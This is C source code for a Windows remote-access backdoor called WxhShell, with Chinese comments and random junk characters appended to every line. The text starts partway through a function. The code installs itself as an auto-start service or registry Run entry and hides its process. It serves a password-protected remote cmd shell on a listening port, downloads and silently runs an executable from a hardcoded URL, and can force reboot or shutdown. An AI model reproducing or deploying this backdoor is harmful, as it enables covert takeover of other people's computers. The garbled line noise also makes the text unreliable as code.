    if(Boot(SHUTDOWN)) ]X _&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j({L6</x  
    else { Ap>n4~  
    closesocket(wsh); !! K=v7M  
    ExitThread(0); ,|c_l)  
    } \S2'3SD d/  
    break; sQH.}W$C  
    } )d1,}o  
  // 获取shell T@ HozZ  
  case 's': { #QDV_ziE5  
    CmdShell(wsh); XJ NKM~  
    closesocket(wsh); ,wEM  
    ExitThread(0); nocH~bAf2  
    break; @',;/j80  
  } 02S(9^=  
  // 退出 /iQ>he~fy  
  case 'x': { yq,5M1vR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @+!d@`w:z2  
    CloseIt(wsh); 9_/1TjrDN  
    break; D 7E^;W)H  
    } |)_<JAN  
  // 离开 T<=\5mn  
  case 'q': { 6$5M^3$-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  G0&w#j  
    closesocket(wsh); mLYB6   
    WSACleanup(); '}Y8a$(;V  
    exit(1); 4* hmeS"  
    break; _1 JvA-  
        } hg>YOf&RG  
  } ! O>mu6:Rf  
  } Yr,1##u  
^~I  
  // 提示信息 +%~g$#tlJo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t-Fl"@s  
} <z4!m/f [(  
  } *ZEs5`x  
pV+;/y_  
  return; Kj>_XaFCg!  
} 8ksDXf`.  
d16 PY_  
// shell模块句柄 \d;Ow8%d/  
int CmdShell(SOCKET sock) LMDa68 s  
{ 8+W^t I  
STARTUPINFO si; )G|U B8]  
ZeroMemory(&si,sizeof(si)); Mt:(w;Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `'QPe42  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t8[:}[Jx  
PROCESS_INFORMATION ProcessInfo; [6tQv<}^  
char cmdline[]="cmd"; @'y"D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $7*Ml)H!9  
  return 0; vtT:c.~d  
} m1hf[cg  
*\>2DUu\`  
// 自身启动模式 , $=V  
int StartFromService(void) !14z4]b  
{ j?(QieBH  
typedef struct fe$WR~  
{ (TQXG^n$gY  
  DWORD ExitStatus; 'mM5l*{  
  DWORD PebBaseAddress; f<'C<xnf  
  DWORD AffinityMask; G7<X l}  
  DWORD BasePriority; Tk:y>P!%a  
  ULONG UniqueProcessId; .PxM #;i2  
  ULONG InheritedFromUniqueProcessId; _ Owz%  
}   PROCESS_BASIC_INFORMATION; NlMx!f>b%/  
hU{%x#8}lK  
PROCNTQSIP NtQueryInformationProcess; EKf4f^<  
k4P.}SJ?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V+q RDQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >4E,_`3N  
z,EOyi  
  HANDLE             hProcess; !]nCeo  
  PROCESS_BASIC_INFORMATION pbi; cG'Wh@  
Kna'5L5"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `xr%LsNn  
  if(NULL == hInst ) return 0; +1%6-g4 "  
7$;$4.'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G!IQ<FuY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U8mu<)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pf_ /jR  
2 ^aTW`>L  
  if (!NtQueryInformationProcess) return 0; >seB["C  
!ZZAI_N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SOL=3hfb^  
  if(!hProcess) return 0; >vU Hf`4T  
bW]+Og  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +*q@=P,  
/~[R u  
  CloseHandle(hProcess); >>r:L3<!  
*Y ZLQT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P.:T zk6  
if(hProcess==NULL) return 0; 6>I.*Qt \l  
mI%/k7:sf  
HMODULE hMod; NsHveOK1.  
char procName[255]; QFYy$T+W  
unsigned long cbNeeded; a6d KQ3D  
I'C ,'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :Eyv==  
5,Y2Lzr  
  CloseHandle(hProcess); d8#j@='a*  
2'U9!. o  
if(strstr(procName,"services")) return 1; // 以服务启动 >e;f{  
'Ot[q^,KRG  
  return 0; // 注册表启动 EoeEg,'~F  
} EiUV?Gvz  
P$Q&xN<#)  
// 主模块 ~aG-^BAS  
int StartWxhshell(LPSTR lpCmdLine) (Nahtx!/9  
{ %"zJsYQ!  
  SOCKET wsl; Biwdb  
BOOL val=TRUE; $5r,Q{;$  
  int port=0; O@rb4(  
  struct sockaddr_in door; }TW=eu~  
!*gAGt_  
  if(wscfg.ws_autoins) Install(); >``GDjcJ  
,GIqRT4K  
port=atoi(lpCmdLine); |Y11sDa9h  
]r6bJ 2  
if(port<=0) port=wscfg.ws_port; Bl];^W^P  
6pR#z@,  
  WSADATA data; $@)d9u cd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HV.7IyBA^  
X;:xGZ-oY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +kL(lBv'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dk/*%a +  
  door.sin_family = AF_INET; N}G(pq}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }o- P   
  door.sin_port = htons(port); 8B/9{8  
 /GUuu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w)n]}k  
closesocket(wsl); 8A.7=C' z  
return 1; 'wrpW#  
} tqCg<NH.!m  
[@Y q^.6t  
  if(listen(wsl,2) == INVALID_SOCKET) { C6~dN& q  
closesocket(wsl); /p0LtUMu  
return 1; I:<R@V<~#  
} m=B0!Z1xx  
  Wxhshell(wsl); !++62Lf  
  WSACleanup(); 8zWPb  
[Gy'0P(EQ  
return 0; ~*[4DQ[\  
5FI>T=QF  
} iGLYM-  
-d'|X`^nE  
// 以NT服务方式启动 GN c|)$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,0]28 D  
{ z_@zMLs  
DWORD   status = 0; FaE orQ  
  DWORD   specificError = 0xfffffff; g"S+V#R  
d A{Jk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T(^8ki  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T9-a uK0d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yW?%c#9D  
  serviceStatus.dwWin32ExitCode     = 0; bU`yymf{L  
  serviceStatus.dwServiceSpecificExitCode = 0; |9]K:A  
  serviceStatus.dwCheckPoint       = 0; Tpx,41(k  
  serviceStatus.dwWaitHint       = 0; 98'XSL|  
%0]b5u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [_b='/8  
  if (hServiceStatusHandle==0) return; g}QTZT8  
I>Fh*2  
status = GetLastError(); a&Du5(r;!  
  if (status!=NO_ERROR) XF$]KA L0  
{ z %E!tB2o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C&N4<2b  
    serviceStatus.dwCheckPoint       = 0; s,H(m8#>  
    serviceStatus.dwWaitHint       = 0; C)p<M H<  
    serviceStatus.dwWin32ExitCode     = status; %5?-g[  
    serviceStatus.dwServiceSpecificExitCode = specificError; &W// Ox )f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iGVb.=)  
    return; 9?chCO(@  
  } .MARF  
_4B iF?1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n@[</E(  
  serviceStatus.dwCheckPoint       = 0; .BDRD~kB  
  serviceStatus.dwWaitHint       = 0; T JS1,3<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kTc5KHJ7  
} F{~r7y;0  
BV?N_/DXp  
// 处理NT服务事件,比如:启动、停止 e7qMt[.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M;V#Gm  
{ s^'#"`!v=  
switch(fdwControl) )wv[!cYyW  
{ .t[ZXrd| 0  
case SERVICE_CONTROL_STOP: .+L_!A  
  serviceStatus.dwWin32ExitCode = 0; l!V| T?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0lr4d Y  
  serviceStatus.dwCheckPoint   = 0; i}F;fWZ`  
  serviceStatus.dwWaitHint     = 0; )h_ 7 2  
  { ]{+M>i[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JD`;,Md  
  } 8;f<qu|w  
  return; nk$V{(FJ  
case SERVICE_CONTROL_PAUSE: o+Ti$`2<O7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4$DliP  
  break; f<4q]HCa  
case SERVICE_CONTROL_CONTINUE: )X!DCL:16  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; | 4oM+n;Y  
  break; J~'Q^O3@  
case SERVICE_CONTROL_INTERROGATE: (g2r\hI  
  break; NF(IF.8G  
}; XAxI?y[c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )/ T$H|  
} S Y>,kwHO  
7  cP[o+  
// 标准应用程序主函数 vJAAAS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )F#<)Evw  
{ :Z]hI+7  
~7 L)n  
// 获取操作系统版本 UEQ'D9  
OsIsNt=GetOsVer(); ~eOj:H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fQTA@WAr  
1o~U+s_r  
  // 从命令行安装 s]<r  
  if(strpbrk(lpCmdLine,"iI")) Install(); v\9,j  
cU5"c)$'  
  // 下载执行文件 2T(,H.O  
if(wscfg.ws_downexe) { IQi[g~E.5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m/c&/6nk  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9_A0:S9Z  
} /xm#:+Sc  
U[e8K  
if(!OsIsNt) {  1C,C)  
// 如果时win9x,隐藏进程并且设置为注册表启动 .6 ?>t!&W  
HideProc(); Q'Kik5I  
StartWxhshell(lpCmdLine); dIfs 8%kl  
} 6|>\&Y!Q  
else 9H, &nET  
  if(StartFromService()) CBnouKc:  
  // 以服务方式启动 .Lr)~  
  StartServiceCtrlDispatcher(DispatchTable); G<^]0`"+)t  
else xAd>",=~  
  // 普通方式启动 OQL09u  
  StartWxhshell(lpCmdLine); ) 4L%zl7  
V3A>Ag+^~  
return 0; ['Y+z2k  
} |RAQ%VXm  
:CkR4J!m3  
8K JQ(  
+ 65~,e  
=========================================== Y K?*7  
ci_v7Jnwo  
Bpm5dT;  
Xlqz8cI  
HLoQ}oK|K  
l@Eq|y,  
" Q(;B)  
OBw`!G*w  
#include <stdio.h> _[{:!?-?  
#include <string.h> VmOFX:j!,  
#include <windows.h> bDFCZH-:'O  
#include <winsock2.h> (&P0la 1  
#include <winsvc.h> 0nD=|W\@{  
#include <urlmon.h> qv0 DrL,3  
'Elj"Iiu  
#pragma comment (lib, "Ws2_32.lib") `l gjw=  
#pragma comment (lib, "urlmon.lib") )_c=mT  
EB29vHAt~  
#define MAX_USER   100 // 最大客户端连接数 Z?~d']XD  
#define BUF_SOCK   200 // sock buffer e:GgA  
#define KEY_BUFF   255 // 输入 buffer Id.Z[owC`Y  
rxy{a  
#define REBOOT     0   // 重启 lR@i`)'?U  
#define SHUTDOWN   1   // 关机 $nfBv f  
^L8Wn6s'  
#define DEF_PORT   5000 // 监听端口 <h@z=ijN  
l\=-+'Y  
#define REG_LEN     16   // 注册表键长度 InPy:}  
#define SVC_LEN     80   // NT服务名长度 ~[uV  
CmJ?_>  
// 从dll定义API pg?i F1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7Js>!KR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e\A(#l@g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I>kiah*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hM36QOdm  
RhV:Z3f`6  
// wxhshell配置信息 &G pA1  
struct WSCFG { znQ'm^h  
  int ws_port;         // 监听端口 `j}_BW_  
  char ws_passstr[REG_LEN]; // 口令 1(%>`=R8  
  int ws_autoins;       // 安装标记, 1=yes 0=no @Ge>i5q  
  char ws_regname[REG_LEN]; // 注册表键名 oxMUW<gYd  
  char ws_svcname[REG_LEN]; // 服务名 aW=By)S!Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PHRGhKJW})  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yWv<A^C &  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +w k]iH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h5&/hBN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YH'$_,8peM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {HIR>])o  
EREolCASb  
}; P>{US1t  
42V,PH6o  
// default Wxhshell configuration X/E7o92\  
struct WSCFG wscfg={DEF_PORT, `sk!C7%  
    "xuhuanlingzhe", q6C6PPc  
    1, eC>"my`  
    "Wxhshell", u( 1J=h  
    "Wxhshell", C@y}*XV[b  
            "WxhShell Service", N>A{)_k3  
    "Wrsky Windows CmdShell Service", '9*5-iO  
    "Please Input Your Password: ", Q5p+W  
  1, ${eY9-r_%  
  "http://www.wrsky.com/wxhshell.exe", /B,:<&_-  
  "Wxhshell.exe" RHwaJ;:)#  
    }; <2)s<S.;  
yHWi [7$  
// 消息定义模块 KMK&[E#r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IU Y> ih  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :H!(?(Pie  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k'[ S@+5  
char *msg_ws_ext="\n\rExit."; * MSBjH|  
char *msg_ws_end="\n\rQuit."; 0^GbpSW{  
char *msg_ws_boot="\n\rReboot..."; ;m@1Ec@* p  
char *msg_ws_poff="\n\rShutdown..."; x7P([^i  
char *msg_ws_down="\n\rSave to "; Sc1+(z  
> $w^%I  
char *msg_ws_err="\n\rErr!"; Q;$ 9qOF  
char *msg_ws_ok="\n\rOK!"; y:[BP4H?y  
<#+oQ>5s  
char ExeFile[MAX_PATH]; zU f>db  
int nUser = 0; uFwU-LCe  
HANDLE handles[MAX_USER]; )\T@W  
int OsIsNt; $ ^W-Wmsz  
a -xW8  
SERVICE_STATUS       serviceStatus; "t[M'[ `C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; On{~St'V  
gohAp  
// 函数声明 ]ZzoJ7lr  
int Install(void); uQGz;F x  
int Uninstall(void); AVXX\n\_  
int DownloadFile(char *sURL, SOCKET wsh); AIZW@Nq.5  
int Boot(int flag); H+4=|mkQ  
void HideProc(void); {8^Gs^c c  
int GetOsVer(void); `6a]|7|f  
int Wxhshell(SOCKET wsl); _4P;+Y  
void TalkWithClient(void *cs); Q7,EY /  
int CmdShell(SOCKET sock); xn(+G$m  
int StartFromService(void); b!i`o%Vb  
int StartWxhshell(LPSTR lpCmdLine); e#>tM  
T*h!d(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D 4< -8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ss? ]  
m"lE&AM64p  
// 数据结构和表定义 UF@IBb}0  
SERVICE_TABLE_ENTRY DispatchTable[] = #*!+b  
{ t *{,Gk  
{wscfg.ws_svcname, NTServiceMain}, ![^EsgEB*  
{NULL, NULL} z 0~j  
}; x}tKewdOSe  
#|qm!aGs  
// 自我安装 z^4KU\/JK  
int Install(void) ETU-]R3  
{ z>4 D~HX  
  char svExeFile[MAX_PATH]; F\>oxttS1  
  HKEY key; pu FXPw.3  
  strcpy(svExeFile,ExeFile); + $>N]1  
QJx9I_  
// 如果是win9x系统,修改注册表设为自启动 DdBxqkh  
if(!OsIsNt) { n!GWqle  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8@E8!w&~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *;<e '[Y7f  
  RegCloseKey(key); 2q)T y9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6fh{lx>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ecn}iN  
  RegCloseKey(key); LO"_NeuL  
  return 0; B;VH`*+X  
    } >&bv\R/  
  } Rr%tbt.sE  
} $bk>kbl P  
else { \X&]FZ(*  
@u,+F0Yd  
// 如果是NT以上系统,安装为系统服务 KwS`3 6:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zQ,f5x  
if (schSCManager!=0) 2 =>*O  
{ Z.!g9fi8>  
  SC_HANDLE schService = CreateService egfi;8]E  
  ( Osnyd+dJY  
  schSCManager, E]NY (1  
  wscfg.ws_svcname, f%c06Un=  
  wscfg.ws_svcdisp, "X`RQ6~]>  
  SERVICE_ALL_ACCESS, BsKbn@'uC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vCj4;P g  
  SERVICE_AUTO_START, Hw Z^D= A  
  SERVICE_ERROR_NORMAL, 0z/h+,  
  svExeFile, g;8M<`qvf  
  NULL,  1Yud~[c  
  NULL, Zp`~}LV{  
  NULL, My. dD'C  
  NULL, C1 W>/?XC  
  NULL d7E7f  
  ); !~WZ_z  
  if (schService!=0) *2`:VFEV  
  { ^%;"[r  
  CloseServiceHandle(schService); [q'eEN G  
  CloseServiceHandle(schSCManager); v{o? #Sk1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cST\~SUm  
  strcat(svExeFile,wscfg.ws_svcname); I-,>DLG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pDGT@qJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rfht\{N 7  
  RegCloseKey(key); [eyb7\#   
  return 0; sc%dh?m7  
    } HL@TcfOe~  
  } d<#p %$A4  
  CloseServiceHandle(schSCManager); 7{-@}j`  
} o5P&JBX<  
} %VWp&a8  
gt/!~f0r  
return 1; )!A 2>  
} NEMEY7De2  
Rs2-94$!5  
// 自我卸载 M+0x;53nz  
int Uninstall(void) wazP,9W?  
{ Wm(:P  
  HKEY key; 6+iK!&+=  
n'yl)HA~>`  
if(!OsIsNt) { 8)pB_en3sO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L?HF'5o  
  RegDeleteValue(key,wscfg.ws_regname); `_GO=QQ  
  RegCloseKey(key); YZ< NP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7aQ n;  
  RegDeleteValue(key,wscfg.ws_regname); zrrz<dW  
  RegCloseKey(key); :9`qogF>  
  return 0; 4`s)ue  
  } `y2ljIWJ  
} \#++s&06  
} 3w6&&R9  
else { ailG./I+  
+#~O'r]%GG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dMJ!>l>2  
if (schSCManager!=0) ZOuR"9]  
{ eQ<xp A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OF8WDo`  
  if (schService!=0) 12lEs3  
  { "R23Pi  
  if(DeleteService(schService)!=0) { i j/o;_  
  CloseServiceHandle(schService); Aq"PG}Ic  
  CloseServiceHandle(schSCManager); 3za`>bUN  
  return 0; j7}lF?cJ2  
  } i:d`{kJ|[  
  CloseServiceHandle(schService); ,Aj }]h\L  
  } 0~]QIdu{AR  
  CloseServiceHandle(schSCManager); 'irGvex  
} E_3r[1l  
} $@2"{9Z  
WNa3^K/W{  
return 1; j;iL&eo>  
} &dRjqn^&X  
ra:GzkIw  
// 从指定url下载文件 b+Vi3V  
int DownloadFile(char *sURL, SOCKET wsh) @h#Xix7  
{ i=L8=8B`  
  HRESULT hr; nW GR5*e:  
char seps[]= "/"; x%6hM |U  
char *token; 3D[=b%2\  
char *file; vTd- x>n  
char myURL[MAX_PATH]; >jMH#TZaX  
char myFILE[MAX_PATH]; "15=ET  
]G*$W+G]  
strcpy(myURL,sURL); C2G  |?=  
  token=strtok(myURL,seps); >S'>!w  
  while(token!=NULL) z h%qS~8Yv  
  { 2ce'fMV  
    file=token; G#0,CLGN^  
  token=strtok(NULL,seps); #ZlM?Q  
  } ;& ~929  
!BUi)mo  
GetCurrentDirectory(MAX_PATH,myFILE); BI.V0@qZ  
strcat(myFILE, "\\"); Cw#V`70a  
strcat(myFILE, file); gI{ =0  
  send(wsh,myFILE,strlen(myFILE),0);  hgO?+x  
send(wsh,"...",3,0); 6m+W#]^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "0-y*1/m  
  if(hr==S_OK) lR@& Z6lw  
return 0; W 2<3C  
else K/|  
return 1; .&iN(Bd  
tpo>1|  
} #ZWl=z5aBi  
<KLg0L<W  
// 系统电源模块 .S_QQM}Q  
int Boot(int flag) U5<@<j(@  
{ ao$):,2*  
  HANDLE hToken; G9Qe121m  
  TOKEN_PRIVILEGES tkp; (6R4 \8z2  
&@6 GI<  
  if(OsIsNt) { xNX'~B^4d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j"hASBTgp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;SY.WfVA7  
    tkp.PrivilegeCount = 1; e+@xs n3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QNArZ6UQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,|pp67  
if(flag==REBOOT) { t$ZkdF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J3=BE2L  
  return 0; *1bzg/T<  
} "IwM:v  
else { Qh-4vy =r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m7m \`;  
  return 0; cPuHLwwYf  
} _whF^g8  
  } |<(t}}X  
  else { XLb0 9;  
if(flag==REBOOT) { tjxvN 4l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tU:FX[&?R  
  return 0; Qq3fZ=  
} `6F +Rrn  
else { G{o+R]Us  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z+/LS5$  
  return 0; }OrYpZob  
} (Es{la G  
} Rla4L`X;  
kcS6_l  
return 1; M<(u A'  
} *jF#^=  
U$'y_}V  
// win9x进程隐藏模块 C[YnrI!  
void HideProc(void) <HQ&-jx  
{ T//S,   
Df@/cT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u+2Lm*M  
  if ( hKernel != NULL ) 2EfflZL3  
  { 2Va4i7"X\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uTGcQs}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @~o`#$*|  
    FreeLibrary(hKernel); 3eKQ<$w  
  } 8=Q V N_  
cy1jZ1)  
return; doD>m?rig3  
} ><Uk*mwL  
T"!EK&  
// 获取操作系统版本 l!IGc:  
int GetOsVer(void) ``9 GY  
{ ^,V[nfQR  
  OSVERSIONINFO winfo; xvDI 4x&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uvB1VV4  
  GetVersionEx(&winfo); };sMU6e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <*Y'lV  
  return 1; GBbhar},g  
  else DB@EVH  
  return 0; r7I B{}>-  
} m:{tgcE  
&71e5<(dG  
// 客户端句柄模块 (F8AL6  
int Wxhshell(SOCKET wsl) {oWsh)[x2  
{ c_1/W{  
  SOCKET wsh; mP-2s;q  
  struct sockaddr_in client; XnXb&@Y  
  DWORD myID; !Iq{ 5:  
&1GUi{I  
  while(nUser<MAX_USER) |(ocDmd  
{ p4> ,Fwy2  
  int nSize=sizeof(client); Qb`C)Nh:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -3hCiKq  
  if(wsh==INVALID_SOCKET) return 1; Q)^g3J  
ow.6!tl0=h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x~/+RF XF  
if(handles[nUser]==0) onl>54M^  
  closesocket(wsh); f0oek{  
else ^\wl2  
  nUser++; inF6M8 A1  
  } n}J^6:1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SxMj,u%X/  
[xdj6W  
  return 0; - DL"-%X.  
} +v15[^F  
 Q2\  
// 关闭 socket [ rdsv  
void CloseIt(SOCKET wsh) ',mW`ZN  
{ S()Za@ [a$  
closesocket(wsh); )|]Z>>%t  
nUser--; )+Y&4Qu  
ExitThread(0); hI~SAd ,#A  
} !k<:k "7  
]rW8y%yD  
// 客户端请求句柄 AS;.sjgk  
void TalkWithClient(void *cs) /F~X,lm*~  
{ +R[4\ hC0Y  
J_xG}d  
  SOCKET wsh=(SOCKET)cs; #@Y/{[s|@  
  char pwd[SVC_LEN]; 2k1aX~?  
  char cmd[KEY_BUFF]; QnKC#   
char chr[1]; K/Y Agg  
int i,j; BUC,M:J+H  
tWD|qg_  
  while (nUser < MAX_USER) { C6@t  
'IQsve7cI  
if(wscfg.ws_passstr) { xb$yu.c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yFM>T\@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i_U}{|j  
  //ZeroMemory(pwd,KEY_BUFF); kh?. K#  
      i=0; 9 P"iuU  
  while(i<SVC_LEN) { 2)\vj5<~$  
t(?<#KUB-  
  // 设置超时 7+ XM3  
  fd_set FdRead; gfo}I2"  
  struct timeval TimeOut; p|VcMxT9-  
  FD_ZERO(&FdRead); )5yj/0oT  
  FD_SET(wsh,&FdRead); 4}yE+dRUK:  
  TimeOut.tv_sec=8; LprM;Q_  
  TimeOut.tv_usec=0; =! m JG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P5URvEnz:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Q_4Zb  
{XnPx? V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8wIK:   
  pwd=chr[0]; nl@E[yA9[  
  if(chr[0]==0xd || chr[0]==0xa) { agsISu(  
  pwd=0; cZ< \  
  break; B\_[R'Pf&  
  } FH\CK  
  i++; OFy,B-`A{  
    } +1@AGJU3  
=A n`D  
  // 如果是非法用户,关闭 socket b5 Q NEi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \Ph7(ik  
} C\Ayv)S #2  
W_<4WG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iBvOJs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ty- r&  
y/R+$h(%  
while(1) { 0.DQO;  
- L~Uu^o  
  ZeroMemory(cmd,KEY_BUFF); 0HbJKix!  
<abKiXA"  
      // 自动支持客户端 telnet标准   a [C&e,)}  
  j=0; "!q?P" @C  
  while(j<KEY_BUFF) { bK=c@GXS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PDC]wZd/  
  cmd[j]=chr[0]; !_^g8^>2(  
  if(chr[0]==0xa || chr[0]==0xd) { Y4To@TrN#\  
  cmd[j]=0; UqtHxEI%R~  
  break; T[2}p=<%  
  } Lt>7hBe"  
  j++; fNoR\5}!  
    } fIyPFqf7w)  
~@fR[sg<  
  // 下载文件 d=F-L  
  if(strstr(cmd,"http://")) { `K?1L{p'4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GZ3/S|SMP  
  if(DownloadFile(cmd,wsh)) CW0UMPE5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :s*>W$Wp4  
  else _4R,Ej}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {L9yhYw  
  } Z[} $n-V  
  else { SE!L :  
e1P7 .n}  
    switch(cmd[0]) { -,GEv%6c  
  E1W:hGI  
  // 帮助 (6k>FSpg  
  case '?': { 3*WS"bt  
